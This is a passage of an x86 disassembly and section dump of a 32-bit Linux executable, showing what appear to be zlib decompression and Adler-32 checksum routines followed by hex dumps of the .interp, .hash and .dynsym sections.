0806b2a8   39 55 d4                cmp    %edx,0xffffffd4(%ebp)
0806b2ab   76 1b                   jbe    0806b2c8 <Unknown0450+0x218>
0806b2ad   29 55 d4                sub    %edx,0xffffffd4(%ebp)
0806b2b0   8a 01                   mov    (%ecx),%al
0806b2b2   8b 5d e4                mov    0xffffffe4(%ebp),%ebx
0806b2b5   88 03                   mov    %al,(%ebx)
0806b2b7   41                      inc    %ecx
0806b2b8   43                      inc    %ebx
0806b2b9   4a                      dec    %edx
0806b2ba   89 5d e4                mov    %ebx,0xffffffe4(%ebp)
0806b2bd   75 f1                   jne    0806b2b0 <Unknown0450+0x200>
0806b2bf   8b 45 18                mov    0x18(%ebp),%eax
0806b2c2   8b 48 24                mov    0x24(%eax),%ecx
0806b2c5   8d 76 00                lea    0x0(%esi),%esi
0806b2c8   8a 01                   mov    (%ecx),%al
0806b2ca   8b 55 e4                mov    0xffffffe4(%ebp),%edx
0806b2cd   88 02                   mov    %al,(%edx)
0806b2cf   41                      inc    %ecx
0806b2d0   42                      inc    %edx
0806b2d1   ff 4d d4                decl   0xffffffd4(%ebp)
0806b2d4   89 55 e4                mov    %edx,0xffffffe4(%ebp)
0806b2d7   75 ef                   jne    0806b2c8 <Unknown0450+0x218>
0806b2d9   e9 0a 01 00 00          jmp    0806b3e8 <Unknown0450+0x338>  ;266 'xa x1 x0 x0' ""
0806b2de   89 f6                   mov    %esi,%esi
0806b2e0   f7 c2 40 00 00 00       test   $0x40,%edx   ;64 'x40 x0 x0 x0' "@"
0806b2e6   75 18                   jne    0806b300 <Unknown0450+0x250>
0806b2e8   8b 45 f0                mov    0xfffffff0(%ebp),%eax
0806b2eb   23 04 95 80 98 07 08    and    0x8079880(,%edx,4),%eax   ;[in .data] 0 'x0 x0 x0 x0' ""
0806b2f2   8b 56 04                mov    0x4(%esi),%edx
0806b2f5   8d 34 c2                lea    (%edx,%eax,8),%esi
0806b2f8   e9 1f ff ff ff          jmp    0806b21c <Unknown0450+0x16c>  ;-225 'xlf xff xff xff' ""
0806b2fd   8d 76 00                lea    0x0(%esi),%esi
0806b300   8b 4d 1c                mov    0x1c(%ebp),%ecx
0806b303   c7 41 18 30 6b 07 08    movl   $0x8076b30,0x18(%ecx)   ;[in .rodata] 1635151465 'x69 x6e x76 x61'
                                                                  "invalid distance code"
0806b30a   89 7d d4                mov    %edi,0xffffffd4(%ebp)
0806b30d   c1 6d d4 03             shrl   $0x3,0xffffffd4(%ebp)
0806b311   8b 5d d4                mov    0xffffffd4(%ebp),%ebx
0806b314   8b 55 f0                mov    0xfffffff0(%ebp),%edx
0806b317   8b 45 18                mov    0x18(%ebp),%eax
0806b31a   83 e7 07                and    $0x7,%edi
0806b31d   29 5d ec                sub    %ebx,0xffffffec(%ebp)
0806b320   01 5d e8                add    %ebx,0xffffffe8(%ebp)
0806b323   89 50 20                mov    %edx,0x20(%eax)
0806b326   89 78 1c                mov    %edi,0x1c(%eax)
0806b329   8b 5d e8                mov    0xffffffe8(%ebp),%ebx
0806b32c   89 59 04                mov    %ebx,0x4(%ecx)
0806b32f   8b 45 ec                mov    0xffffffec(%ebp),%eax
0806b332   2b 01                   sub    (%ecx),%eax
0806b334   01 41 08                add    %eax,0x8(%ecx)
0806b337   8b 45 ec                mov    0xffffffec(%ebp),%eax
0806b33a   89 01                   mov    %eax,(%ecx)
0806b33c   8b 4d e4                mov    0xffffffe4(%ebp),%ecx
0806b33f   8b 55 18                mov    0x18(%ebp),%edx
0806b342   89 4a 30                mov    %ecx,0x30(%edx)
0806b345   b8 fd ff ff ff          mov    $0xfffffffd,%eax   ;-3 'xfd xff xff xff' ""
0806b34a   e9 ec 00 00 00          jmp    0806b43b <Unknown0450+0x38b>  ;236 'xec x0 x0 x0' ""
0806b34f   90                      nop
0806b350   f7 c2 40 00 00 00       test   $0x40,%edx   ;64 'x40 x0 x0 x0' "@"
0806b356   75 38                   jne    0806b390 <Unknown0450+0x2e0>
0806b358   8b 45 f0                mov    0xfffffff0(%ebp),%eax
0806b35b   23 04 95 80 98 07 08    and    0x8079880(,%edx,4),%eax   ;[in .data] 0 'x0 x0 x0 x0' ""
0806b362   8b 56 04                mov    0x4(%esi),%edx
0806b365   8d 34 c2                lea    (%edx,%eax,8),%esi
0806b368   0f b6 16                movzbl (%esi),%edx
0806b36b   85 d2                   test   %edx,%edx
0806b36d   0f 85 45 fe ff ff       jne    0806b1b8 <Unknown0450+0x108>  ;-443 'x45 xfe xff xff' "E"
0806b373   0f b6 4e 01             movzbl 0x1(%esi),%ecx
0806b377   d3 6d f0                shrl   %cl,0xfffffff0(%ebp)
0806b37a   8a 46 04                mov    0x4(%esi),%al
0806b37d   8b 5d e4                mov    0xffffffe4(%ebp),%ebx
0806b380   88 03                   mov    %al,(%ebx)
0806b382   43                      inc    %ebx
0806b383   29 cf                   sub    %ecx,%edi
0806b385   89 5d e4                mov    %ebx,0xffffffe4(%ebp)
0806b388   ff 4d e0                decl   0xffffffe0(%ebp)
0806b38b   eb 5b                   jmp    0806b3e8 <Unknown0450+0x338>
0806b38d   8d 76 00                lea    0x0(%esi),%esi
0806b390   83 e2 20                and    $0x20,%edx
0806b393   0f 85 57 fd ff ff       jne    0806b0f0 <Unknown0450+0x40>  ;-681 'x57 xfd xff xff' "W"
```

```
0806b399  8b 45 1c              mov     0x1c(%ebp),%eax
0806b39c  c7 40 18 46 6b 07 08  movl    $0x8076b46,0x18(%eax)  ;[in .rodata] 1635151465 'x69 x6e x76 x61'
                                                               "invalid literal/length code"
0806b3a3  89 7d d4              mov     %edi,0xffffffd4(%ebp)
0806b3a6  c1 6d d4 03           shrl    $0x3,0xffffffd4(%ebp)
0806b3aa  8b 55 d4              mov     0xffffffd4(%ebp),%edx
0806b3ad  8b 5d f0              mov     0xfffffff0(%ebp),%ebx
0806b3b0  8b 4d 18              mov     0x18(%ebp),%ecx
0806b3b3  83 e7 07              and     $0x7,%edi
0806b3b6  29 55 ec              sub     %edx,0xffffffec(%ebp)
0806b3b9  01 55 e8              add     %edx,0xffffffe8(%ebp)
0806b3bc  89 79 1c              mov     %edi,0x1c(%ecx)
0806b3bf  89 59 20              mov     %ebx,0x20(%ecx)
0806b3c2  8b 55 e8              mov     0xffffffe8(%ebp),%edx
0806b3c5  89 50 04              mov     %edx,0x4(%eax)
0806b3c8  8b 45 ec              mov     0xffffffec(%ebp),%eax
0806b3cb  8b 4d 1c              mov     0x1c(%ebp),%ecx
0806b3ce  2b 01                 sub     (%ecx),%eax
0806b3d0  01 41 08              add     %eax,0x8(%ecx)
0806b3d3  8b 5d ec              mov     0xffffffec(%ebp),%ebx
0806b3d6  89 19                 mov     %ebx,(%ecx)
0806b3d8  8b 45 18              mov     0x18(%ebp),%eax
0806b3db  8b 55 e4              mov     0xffffffe4(%ebp),%edx
0806b3de  89 50 30              mov     %edx,0x30(%eax)
0806b3e1  b8 fd ff ff ff        mov     $0xfffffffd,%eax  ;-3 'xfd xff xff xff' ""
0806b3e6  eb 53                 jmp     0806b43b <Unknown0450+0x38b>
0806b3e8  81 7d e0 01 01 00 00  cmpl    $0x101,0xffffffe0(%ebp)  ;257 'x1 x1 x0 x0' ""
0806b3ef  76 0a                 jbe     0806b3fb <Unknown0450+0x34b>
0806b3f1  83 7d e8 09           cmpl    $0x9,0xffffffe8(%ebp)
0806b3f5  0f 87 69 fd ff ff     ja      0806b164 <Unknown0450+0xb4>  ;-663 'x69 xfd xff xff' "i"
0806b3fb  89 7d d4              mov     %edi,0xffffffd4(%ebp)
0806b3fe  c1 6d d4 03           shrl    $0x3,0xffffffd4(%ebp)
0806b402  8b 4d d4              mov     0xffffffd4(%ebp),%ecx
0806b405  8b 45 f0              mov     0xfffffff0(%ebp),%eax
0806b408  8b 5d 18              mov     0x18(%ebp),%ebx
0806b40b  83 e7 07              and     $0x7,%edi
0806b40e  29 4d ec              sub     %ecx,0xffffffec(%ebp)
0806b411  01 4d e8              add     %ecx,0xffffffe8(%ebp)
0806b414  89 43 20              mov     %eax,0x20(%ebx)
0806b417  89 7b 1c              mov     %edi,0x1c(%ebx)
0806b41a  8b 55 1c              mov     0x1c(%ebp),%edx
0806b41d  8b 4d e8              mov     0xffffffe8(%ebp),%ecx
0806b420  89 4a 04              mov     %ecx,0x4(%edx)
0806b423  8b 45 ec              mov     0xffffffec(%ebp),%eax
0806b426  2b 02                 sub     (%edx),%eax
0806b428  01 42 08              add     %eax,0x8(%edx)
0806b42b  8b 5d ec              mov     0xffffffec(%ebp),%ebx
0806b42e  89 1a                 mov     %ebx,(%edx)
0806b430  8b 45 18              mov     0x18(%ebp),%eax
0806b433  8b 55 e4              mov     0xffffffe4(%ebp),%edx
0806b436  89 50 30              mov     %edx,0x30(%eax)
0806b439  31 c0                 xor     %eax,%eax
0806b43b  83 c4 20              add     $0x20,%esp
0806b43e  5b                    pop     %ebx
0806b43f  5e                    pop     %esi
0806b440  5f                    pop     %edi
0806b441  5d                    pop     %ebp
0806b442  c3                    ret
0806b443  90                    nop


  ;
  ; >---------------------<  Subroutine # 451 >---------------------<
  ;
0806b444 <Unknown0451>:
0806b444  55                    push    %ebp
0806b445  89 e5                 mov     %esp,%ebp
0806b447  57                    push    %edi
0806b448  56                    push    %esi
0806b449  53                    push    %ebx
0806b44a  51                    push    %ecx
0806b44b  8b 45 08              mov     0x8(%ebp),%eax
0806b44e  89 c1                 mov     %eax,%ecx
0806b450  8b 5d 0c              mov     0xc(%ebp),%ebx
0806b453  0f b7 d0              movzwl  %ax,%edx
0806b456  c1 e9 10              shr     $0x10,%ecx
0806b459  85 db                 test    %ebx,%ebx
0806b45b  8b 7d 10              mov     0x10(%ebp),%edi
0806b45e  89 55 f0              mov     %edx,0xfffffff0(%ebp)
0806b461  b8 01 00 00 00        mov     $0x1,%eax  ;1 'x1 x0 x0 x0' ""
0806b466  0f 84 0c 01 00 00     je      0806b578 <Unknown0451+0x134>  ;268 'xc x1 x0 x0' ""
0806b46c  85 ff                 test    %edi,%edi
0806b46e  0f 84 fc 00 00 00     je      0806b570 <Unknown0451+0x12c>  ;252 'xfc x0 x0 x0' ""
0806b474  81 ff b0 15 00 00     cmp     $0x15b0,%edi  ;5552 'xb0 x15 x0 x0' ""
```

```
0806b47a   89 fe                    mov      %edi,%esi
0806b47c   76 05                    jbe      0806b483 <Unknown0451+0x3f>
0806b47e   be b0 15 00 00           mov      $0x15b0,%esi   ;5552 'xb0 x15 x0 x0' ""
0806b483   29 f7                    sub      %esi,%edi
0806b485   83 fe 0f                 cmp      $0xf,%esi
0806b488   0f 8e b0 00 00 00        jle      0806b53e <Unknown0451+0xfa>   ;176 'xb0 x0 x0 x0' ""
0806b48e   89 f6                    mov      %esi,%esi
0806b490   0f b6 03                 movzbl   (%ebx),%eax
0806b493   01 45 f0                 add      %eax,0xfffffff0(%ebp)
0806b496   0f b6 43 01              movzbl   0x1(%ebx),%eax
0806b49a   03 4d f0                 add      0xfffffff0(%ebp),%ecx
0806b49d   01 45 f0                 add      %eax,0xfffffff0(%ebp)
0806b4a0   0f b6 43 02              movzbl   0x2(%ebx),%eax
0806b4a4   03 4d f0                 add      0xfffffff0(%ebp),%ecx
0806b4a7   01 45 f0                 add      %eax,0xfffffff0(%ebp)
0806b4aa   0f b6 43 03              movzbl   0x3(%ebx),%eax
0806b4ae   03 4d f0                 add      0xfffffff0(%ebp),%ecx
0806b4b1   01 45 f0                 add      %eax,0xfffffff0(%ebp)
0806b4b4   0f b6 43 04              movzbl   0x4(%ebx),%eax
0806b4b8   03 4d f0                 add      0xfffffff0(%ebp),%ecx
0806b4bb   01 45 f0                 add      %eax,0xfffffff0(%ebp)
0806b4be   0f b6 43 05              movzbl   0x5(%ebx),%eax
0806b4c2   03 4d f0                 add      0xfffffff0(%ebp),%ecx
0806b4c5   01 45 f0                 add      %eax,0xfffffff0(%ebp)
0806b4c8   0f b6 43 06              movzbl   0x6(%ebx),%eax
0806b4cc   03 4d f0                 add      0xfffffff0(%ebp),%ecx
0806b4cf   01 45 f0                 add      %eax,0xfffffff0(%ebp)
0806b4d2   0f b6 43 07              movzbl   0x7(%ebx),%eax
0806b4d6   03 4d f0                 add      0xfffffff0(%ebp),%ecx
0806b4d9   01 45 f0                 add      %eax,0xfffffff0(%ebp)
0806b4dc   0f b6 43 08              movzbl   0x8(%ebx),%eax
0806b4e0   03 4d f0                 add      0xfffffff0(%ebp),%ecx
0806b4e3   01 45 f0                 add      %eax,0xfffffff0(%ebp)
0806b4e6   0f b6 43 09              movzbl   0x9(%ebx),%eax
0806b4ea   03 4d f0                 add      0xfffffff0(%ebp),%ecx
0806b4ed   01 45 f0                 add      %eax,0xfffffff0(%ebp)
0806b4f0   0f b6 43 0a              movzbl   0xa(%ebx),%eax
0806b4f4   03 4d f0                 add      0xfffffff0(%ebp),%ecx
0806b4f7   01 45 f0                 add      %eax,0xfffffff0(%ebp)
0806b4fa   0f b6 43 0b              movzbl   0xb(%ebx),%eax
0806b4fe   03 4d f0                 add      0xfffffff0(%ebp),%ecx
0806b501   01 45 f0                 add      %eax,0xfffffff0(%ebp)
0806b504   0f b6 43 0c              movzbl   0xc(%ebx),%eax
0806b508   03 4d f0                 add      0xfffffff0(%ebp),%ecx
0806b50b   01 45 f0                 add      %eax,0xfffffff0(%ebp)
0806b50e   0f b6 43 0d              movzbl   0xd(%ebx),%eax
0806b512   03 4d f0                 add      0xfffffff0(%ebp),%ecx
0806b515   01 45 f0                 add      %eax,0xfffffff0(%ebp)
0806b518   0f b6 43 0e              movzbl   0xe(%ebx),%eax
0806b51c   03 4d f0                 add      0xfffffff0(%ebp),%ecx
0806b51f   01 45 f0                 add      %eax,0xfffffff0(%ebp)
0806b522   0f b6 43 0f              movzbl   0xf(%ebx),%eax
0806b526   03 4d f0                 add      0xfffffff0(%ebp),%ecx
0806b529   83 ee 10                 sub      $0x10,%esi
0806b52c   01 45 f0                 add      %eax,0xfffffff0(%ebp)
0806b52f   03 4d f0                 add      0xfffffff0(%ebp),%ecx
0806b532   83 c3 10                 add      $0x10,%ebx
0806b535   83 fe 0f                 cmp      $0xf,%esi
0806b538   0f 8f 52 ff ff ff        jg       0806b490 <Unknown0451+0x4c>   ;-174 'x52 xff xff xff' "R"
0806b53e   85 f6                    test     %esi,%esi
0806b540   74 0f                    je       0806b551 <Unknown0451+0x10d>
0806b542   89 f6                    mov      %esi,%esi
0806b544   0f b6 03                 movzbl   (%ebx),%eax
0806b547   01 45 f0                 add      %eax,0xfffffff0(%ebp)
0806b54a   43                       inc      %ebx
0806b54b   03 4d f0                 add      0xfffffff0(%ebp),%ecx
0806b54e   4e                       dec      %esi
0806b54f   75 f3                    jne      0806b544 <Unknown0451+0x100>
0806b551   8b 45 f0                 mov      0xfffffff0(%ebp),%eax
0806b554   be f1 ff 00 00           mov      $0xfff1,%esi   ;65521 'xf1 xff x0 x0' ""
0806b559   31 d2                    xor      %edx,%edx
0806b55b   f7 f6                    div      %esi
0806b55d   89 55 f0                 mov      %edx,0xfffffff0(%ebp)
0806b560   89 c8                    mov      %ecx,%eax
0806b562   31 d2                    xor      %edx,%edx
0806b564   f7 f6                    div      %esi
0806b566   85 ff                    test     %edi,%edi
0806b568   89 d1                    mov      %edx,%ecx
0806b56a   0f 85 04 ff ff ff        jne      0806b474 <Unknown0451+0x30>   ;-252 'x4 xff xff xff' ""
0806b570   c1 e1 10                 shl      $0x10,%ecx
0806b573   0b 4d f0                 or       0xfffffff0(%ebp),%ecx
0806b576   89 c8                    mov      %ecx,%eax
0806b578   5a                       pop      %edx
0806b579   5b                       pop      %ebx
```

```
0806b57a  5e                          pop    %esi
0806b57b  5f                          pop    %edi
0806b57c  5d                          pop    %ebp
0806b57d  c3                          ret
0806b57e  89 f6                       mov    %esi,%esi


  ;
  ; >---------------------<  Subroutine # 452 >---------------------<
  ;
0806b580 <Unknown0452>:
0806b580  55                          push   %ebp
0806b581  a1 e4 98 07 08              mov    0x80798e4,%eax   ;[in .ctors] -1 'xff xff xff xff' ""
0806b586  89 e5                       mov    %esp,%ebp
0806b588  53                          push   %ebx
0806b589  83 ec 04                    sub    $0x4,%esp
0806b58c  83 f8 ff                    cmp    $0xffffffff,%eax
0806b58f  bb e4 98 07 08              mov    $0x80798e4,%ebx  ;[in .ctors] -1 'xff xff xff xff' ""
0806b594  74 16                       je     0806b5ac <Unknown0452+0x2c>
0806b596  8d 76 00                    lea    0x0(%esi),%esi
0806b599  8d bc 27 00 00 00 00        lea    0x0(%edi,1),%edi  ;0 'x0 x0 x0 x0' ""
0806b5a0  83 eb 04                    sub    $0x4,%ebx
0806b5a3  ff d0                       call   *%eax
0806b5a5  8b 03                       mov    (%ebx),%eax
0806b5a7  83 f8 ff                    cmp    $0xffffffff,%eax
0806b5aa  75 f4                       jne    0806b5a0 <Unknown0452+0x20>
0806b5ac  58                          pop    %eax
0806b5ad  5b                          pop    %ebx
0806b5ae  5d                          pop    %ebp
0806b5af  c3                          ret


  ;
  ; >---------------------<  Subroutine # 453 >---------------------<
  ;
0806b5b0 <Unknown0453>:
0806b5b0  55                          push   %ebp
0806b5b1  89 e5                       mov    %esp,%ebp
0806b5b3  83 ec 08                    sub    $0x8,%esp
0806b5b6  89 ec                       mov    %ebp,%esp
0806b5b8  5d                          pop    %ebp
0806b5b9  c3                          ret
0806b5ba  8d b6 00 00 00 00           lea    0x0(%esi),%esi   ;0 'x0 x0 x0 x0' ""

0806b5c0 <.fini>:
0806b5c0  55                          push   %ebp
0806b5c1  89 e5                       mov    %esp,%ebp
0806b5c3  53                          push   %ebx
0806b5c4  52                          push   %edx
0806b5c5  e8 00 00 00 00              call   0806b5ca <Unknown0453+0x1a>
0806b5ca  5b                          pop    %ebx
0806b5cb  81 c3 2a e3 00 00           add    $0xe32a,%ebx   ;58154 'x2a xe3 x0 x0' "*"
0806b5d1  8d 76 00                    lea    0x0(%esi),%esi
0806b5d4  e8 77 ef fd ff              call   0804a550 <Unknown0001+0x22>
0806b5d9  8b 5d fc                    mov    0xfffffffc(%ebp),%ebx
0806b5dc  c9                          leave
0806b5dd  c3                          ret


  ; --------------------------------
  ; Contents of section .interp:

080480f4  2f6c6962 2f6c642d 6c696e75 782e736f   /lib/ld-linux.so
08048104  2e3200                                .2.


  ; --------------------------------
  ; Contents of section .note.ABI-tag:

08048108  04000000 10000000 01000000 474e5500   ............GNU.
08048118  00000000 02000000 02000000 05000000   ................


  ; --------------------------------
  ; Contents of section .hash:

08048128  83000000 9f000000 00000000 00000000   ................
08048138  27000000 54000000 88000000 00000000   '...T...........
08048148  8e000000 9e000000 9c000000 78000000   ............x...
08048158  39000000 00000000 3b000000 8b000000   9....... ;.......
08048168  52000000 50000000 00000000 8d000000   R...P...........
08048178  97000000 36000000 6f000000 55000000   ....6...o...U...
08048188  92000000 7f000000 61000000 6c000000   ........a...l...
08048198  7e000000 00000000 6b000000 96000000   ~.......k.......
```

```
080481a8   3c000000 7c000000 00000000 18000000   <...|...........
080481b8   00000000 4f000000 2d000000 6d000000   ....O...-...m...
080481c8   0e000000 98000000 60000000 34000000   .........`...4...
080481d8   2e000000 86000000 45000000 15000000   ........E.......
080481e8   43000000 00000000 00000000 00000000   C...............
080481f8   00000000 00000000 9d000000 44000000   ............D...
08048208   4e000000 74000000 02000000 6a000000   N...t.......j...
08048218   99000000 00000000 5d000000 00000000   ........].......
08048228   80000000 32000000 22000000 00000000   ....2...".......
08048238   73000000 00000000 5a000000 4a000000   s.......Z...J...
08048248   26000000 91000000 00000000 85000000   &...............
08048258   8a000000 67000000 00000000 00000000   ....g...........
08048268   62000000 00000000 71000000 10000000   b.......q.......
08048278   95000000 00000000 53000000 00000000   ........S.......
08048288   7a000000 56000000 4c000000 87000000   z...V...L.......
08048298   8c000000 16000000 79000000 00000000   ........y.......
080482a8   37000000 76000000 89000000 42000000   7...v.......B...
080482b8   66000000 00000000 00000000 65000000   f...........e...
080482c8   93000000 57000000 90000000 81000000   ....W...........
080482d8   7b000000 21000000 9a000000 28000000   {...!.......(...
080482e8   63000000 8f000000 0f000000 68000000   c...........h...
080482f8   00000000 75000000 1b000000 00000000   ....u...........
08048308   00000000 9b000000 4d000000 94000000   ........M.......
08048318   69000000 2b000000 64000000 00000000   i...+...d.......
08048328   77000000 83000000 00000000 48000000   w...........H...
08048338   2f000000 00000000 00000000 00000000   /...............
08048348   00000000 00000000 00000000 00000000   ................
08048358   00000000 00000000 00000000 00000000   ................
08048368   00000000 00000000 00000000 00000000   ................
08048378   00000000 00000000 0d000000 00000000   ................
08048388   00000000 07000000 00000000 00000000   ................
08048398   03000000 00000000 00000000 00000000   ................
080483a8   00000000 00000000 00000000 00000000   ................
080483b8   00000000 1f000000 00000000 09000000   ................
080483c8   00000000 00000000 00000000 00000000   ................
080483d8   00000000 00000000 00000000 0a000000   ................
080483e8   00000000 13000000 0b000000 00000000   ................
080483f8   00000000 2a000000 00000000 00000000   ....*...........
08048408   00000000 00000000 1a000000 00000000   ................
08048418   00000000 00000000 00000000 00000000   ................
08048428   0c000000 00000000 19000000 00000000   ................
08048438   00000000 00000000 08000000 38000000   ............8...
08048448   1e000000 00000000 00000000 00000000   ................
08048458   3a000000 00000000 00000000 00000000   :...............
08048468   00000000 00000000 00000000 46000000   ............F...
08048478   30000000 40000000 35000000 31000000   0...@...5...1...
08048488   00000000 41000000 00000000 04000000   ....A...........
08048498   00000000 00000000 06000000 00000000   ................
080484a8   00000000 00000000 00000000 00000000   ................
080484b8   1d000000 00000000 00000000 00000000   ................
080484c8   00000000 5b000000 23000000 05000000   ....[...#.......
080484d8   33000000 00000000 00000000 00000000   3...............
080484e8   49000000 00000000 59000000 00000000   I.......Y.......
080484f8   00000000 00000000 20000000 47000000   ........ ...G...
08048508   00000000 5f000000 12000000 00000000   ...._...%.......
08048518   5c000000 6e000000 25000000 17000000   \...n...%.......
08048528   00000000 00000000 70000000 00000000   ........p.......
08048538   00000000 7d000000 01000000 3d000000   ....}.......=...
08048548   51000000 2c000000 00000000 58000000   Q...,.......X...
08048558   29000000 00000000 00000000 72000000   )...........r...
08048568   84000000 00000000 00000000 5e000000   ............^...
08048578   00000000 11000000 00000000 00000000   ................
08048588   00000000 24000000 00000000 00000000   ....$...........
08048598   82000000 3f000000 1c000000 00000000   ....?...........
080485a8   14000000 4b000000 00000000 3e000000   ....K.......>...


   ; --------------------------------
   ; Contents of section .dynsym:

080485b8   00000000 00000000 00000000 00000000   .........g......
080485c8   da030000 ec9b0408 39000000 12000000   ........9.......
080485d8   19030000 fc9b0408 3d010000 12000000   ........=.......
080485e8   22050000 0c9c0408 3b000000 12000000   "....... i......
080485f8   9c040000 1c9c0408 3d010000 12000000   ........=.......
08048608   c5000000 2c9c0408 24000000 12000000   ....,...$.......
08048618   85000000 3c9c0408 d4000000 12000000   ....<...........
08048628   ec020000 4c9c0408 59000000 12000000   ....L...Y.......
08048638   f0040000 5c9c0408 67010000 12000000   ....\...g.......
08048648   4c000000 6c9c0408 1a010000 12000000   L...l...........
08048658   28050000 009c0708 04000000 11001700   (...............
08048668   9c030000 7c9c0408 88000000 12000000   ....|...........
08048678   44010000 8c9c0408 2f000000 12000000   D......./.......
08048688   38050000 9c9c0408 81000000 22000000   8..........."...
```

```
08048698   4c020000 ac9c0408 3d000000 12000000     L.......=.......
080486a8   ab040000 bc9c0408 3a000000 12000000     ........:.......
080486b8   e2030000 cc9c0408 2f000000 12000000     ......../.......
080486c8   4e050000 dc9c0408 37000000 12000000     N.......7.......
080486d8   68010000 ec9c0408 cd000000 12000000     h...............
080486e8   5a020000 fc9c0408 29000000 12000000     Z.......).......
080486f8   6a030000 0c9d0408 2f000000 12000000     j......./.......
08048708   0b010000 1c9d0408 f1000000 12000000     ................
08048718   de020000 2c9d0408 37000000 12000000     ....,...7.......
08048728   0d030000 3c9d0408 ce000000 12000000     ....<...........
08048738   61010000 4c9d0408 24000000 12000000     a...L...$.......
08048748   1f040000 5c9d0408 41010000 12000000     ....\...A.......
08048758   43030000 6c9d0408 37000000 12000000     C...l...7.......
08048768   ea040000 7c9d0408 75000000 12000000     ....|...u.......
08048778   4a030000 8c9d0408 3b000000 12000000     J.......;.......
08048788   c0020000 9c9d0408 51000000 12000000     ........Q.......
08048798   98010000 ac9d0408 1a000000 12000000     ................
080487a8   e9010000 bc9d0408 49000000 12000000     ........I.......
080487b8   c5030000 cc9d0408 a4000000 12000000     ................
080487c8   ba010000 dc9d0408 a0000000 12000000     ................
080487d8   d0000000 ec9d0408 2e000000 12000000     ................
080487e8   18050000 fc9d0408 b8020000 12000000     ................
080487f8   f2030000 0c9e0408 3d010000 12000000     ........=.......
08048808   2e010000 1c9e0408 5a000000 12000000     ........Z.......
08048818   a1020000 2c9e0408 a3010000 12000000     ....,...........
08048828   81040000 3c9e0408 1b000000 12000000     ....<...........
08048838   52020000 049c0708 04000000 21001700     R...........!...
08048848   76030000 4c9e0408 8f000000 12000000     v...L...........
08048858   06030000 5c9e0408 aa000000 12000000     ....\...........
08048868   f2000000 6c9e0408 3d010000 12000000     ....l...=.......
08048878   2a020000 7c9e0408 3a000000 12000000     *...|...:.......
08048888   ce010000 8c9e0408 5d010000 12000000     ........].......
08048898   0a020000 9c9e0408 3b000000 12000000     ........;.......
080488a8   a4030000 ac9e0408 fe000000 12000000     ................
080488b8   e9030000 bc9e0408 3a000000 12000000     ........:.......
080488c8   a0000000 cc9e0408 67000000 12000000     ........g.......
080488d8   16020000 dc9e0408 9c000000 12000000     ................
080488e8   c4010000 ec9e0408 1b000000 12000000     ................
080488f8   63030000 fc9e0408 3a000000 12000000     c.......:.......
08048908   a7000000 0c9f0408 10000000 12000000     ................
08048918   8a010000 1c9f0408 7e020000 12000000     ........~.......
08048928   04050000 2c9f0408 2f000000 12000000     ....,.../.......
08048938   e2040000 3c9f0408 37000000 12000000     ....<...7.......
08048948   ae030000 4c9f0408 2f000000 12000000     ....L.../.......
08048958   1c020000 5c9f0408 37000000 12000000     ....\...7.......
08048968   e1000000 6c9f0408 78000000 12000000     ....l...x.......
08048978   91010000 7c9f0408 5c000000 12000000     ....|...\.......
08048988   83020000 8c9f0408 ac000000 22000000     ............"...
08048998   b2040000 9c9f0408 8f000000 12000000     ................
080489a8   92040000 ac9f0408 3b000000 12000000     ........;.......
080489b8   b3000000 bc9f0408 2c000000 12000000     ........,.......
080489c8   d3030000 cc9f0408 29000000 12000000     ........).......
080489d8   c4040000 dc9f0408 0a010000 12000000     ................
080489e8   7a000000 ec9f0408 24000000 12000000     z.......$.......
080489f8   67040000 fc9f0408 3a000000 12000000     g.......:.......
08048a08   99000000 089c0708 04000000 11001700     ................
08048a18   54040000 0c9c0708 04000000 11001700     T...............
08048a28   fe010000 0ca00408 54020000 12000000     ........T.......
08048a38   54000000 1ca00408 00010000 12000000     T...............
08048a48   79040000 2ca00408 26030000 12000000     y...,...&.......
08048a58   4b010000 3ca00408 27000000 12000000     K...<...'.......
08048a68   b5020000 4ca00408 3a000000 12000000     ....L...:.......
08048a78   48040000 5ca00408 3a000000 12000000     H...\...:.......
08048a88   35010000 6ca00408 3d010000 12000000     5...l...=.......
08048a98   6c000000 7ca00408 29000000 12000000     l...|...).......
08048aa8   c0030000 8ca00408 41000000 12000000     ........A.......
08048ab8   8e030000 9ca00408 30000000 12000000     ........0.......
08048ac8   54010000 aca00408 2a010000 12000000     T.......*.......
08048ad8   9b020000 bca00408 37000000 12000000     ........7.......
08048ae8   f7040000 cca00408 30010000 12000000     ........0.......
08048af8   ad010000 dca00408 bf010000 12000000     ................
08048b08   21020000 eca00408 26030000 12000000     !.......&.......
08048b18   1c010000 fca00408 63060000 12000000     ........c.......
08048b28   fd040000 0ca10408 10020000 12000000     ................
08048b38   33030000 1ca10408 b3000000 12000000     3...............
08048b48   22030000 2ca10408 89000000 12000000     "...,...........
08048b58   61040000 3ca10408 de000000 12000000     a...<...........
08048b68   79020000 4ca10408 37000000 12000000     y...L...7.......
08048b78   f6010000 5ca10408 3b000000 12000000     ....\...;.......
08048b88   cb040000 6ca10408 c6000000 12000000     ....l...........
08048b98   12010000 7ca10408 1b000000 12000000     ....|...........
08048ba8   7e010000 8ca10408 3b000000 12000000     ~.......;.......
08048bb8   54030000 9ca10408 37030000 12000000     T.......7.......
08048bc8   6d020000 aca10408 27000000 12000000     m.......'.......
```

```
08048bd8   fc020000 bca10408 1b000000 12000000    ................
08048be8   59050000 049c0708 04000000 11001700    Y...............
08048bf8   e4020000 cca10408 48040000 12000000    ........H.......
08048c08   2a030000 dca10408 be000000 12000000    *...............
08048c18   92000000 eca10408 2e000000 12000000    ................
08048c28   74020000 fca10408 3a000000 12000000    t.......:.......
08048c38   83010000 0ca20408 77000000 12000000    ........w.......
08048c48   f0010000 1ca20408 3d000000 12000000    ........=.......
08048c58   0b050000 2ca20408 3c020000 12000000    ....,...<.......
08048c68   5a010000 3ca20408 37000000 12000000    Z...<...7.......
08048c78   63050000 049c0708 04000000 21001700    c...........!...
08048c88   41040000 4ca20408 a2010000 12000000    A...L...........
08048c98   3d020000 5ca20408 b9010000 12000000    =...\...........
08048ca8   fb000000 6ca20408 37000000 12000000    ....l...7.......
08048cb8   67020000 7ca20408 2c000000 12000000    g...|...,.......
08048cc8   16040000 8ca20408 8f000000 12000000    ................
08048cd8   dc010000 9ca20408 37000000 12000000    ........7.......
08048ce8   8b000000 aca20408 77000000 12000000    ........w.......
08048cf8   5b040000 08fe0408 7b000000 12000d00    [.......{.......
08048d08   81030000 bca20408 3b000000 12000000    ........ ;......
08048d18   6f010000 cca20408 7d000000 22000000    o.......}..."...
08048d28   e9000000 dca20408 2b000000 12000000    ........+.......
08048d38   2d040000 eca20408 76000000 12000000    -.......v.......
